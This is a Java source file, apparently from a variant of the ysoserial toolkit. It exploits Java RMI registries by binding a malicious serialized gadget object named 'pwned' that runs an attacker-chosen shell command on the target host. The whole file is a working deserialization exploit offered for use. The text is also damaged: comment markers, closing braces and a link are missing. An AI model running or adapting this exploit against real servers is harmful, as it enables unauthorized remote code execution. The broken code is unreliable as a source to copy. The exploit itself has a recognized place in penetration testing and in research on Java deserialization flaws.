package ysoserial.exploit;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.Callable;

import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;

 * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
 * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
 * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
 * interfaces. See .
@SuppressWarnings({"rawtypes", "unchecked"})
public class RMIRegistryExploit {
	public static void main(final String[] args) throws Exception {
		final String host = args[0];
		final int port = Integer.parseInt(args[1]);
		final String terminalType = args[3];
		final String command = args[4];
		final Registry registry = LocateRegistry.getRegistry(host, port);
		final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
		final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

		// ensure payload doesn't detonate during construction or deserialization
		exploit(registry, payloadClass, terminalType, command);

	public static void exploit(final Registry registry,
			final Class<? extends ObjectPayload> payloadClass,
			final String terminalType,
			final String command) throws Exception {
		new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
			ObjectPayload payloadObj = payloadClass.newInstance();
			CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command);
            Object payload = payloadObj.getObject(cmdHelper);
			String name = "pwned" + System.nanoTime();
			Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
			try {
				registry.bind(name, remote);
			} catch (Throwable e) {
			Utils.releasePayload(payloadObj, payload);
			return null;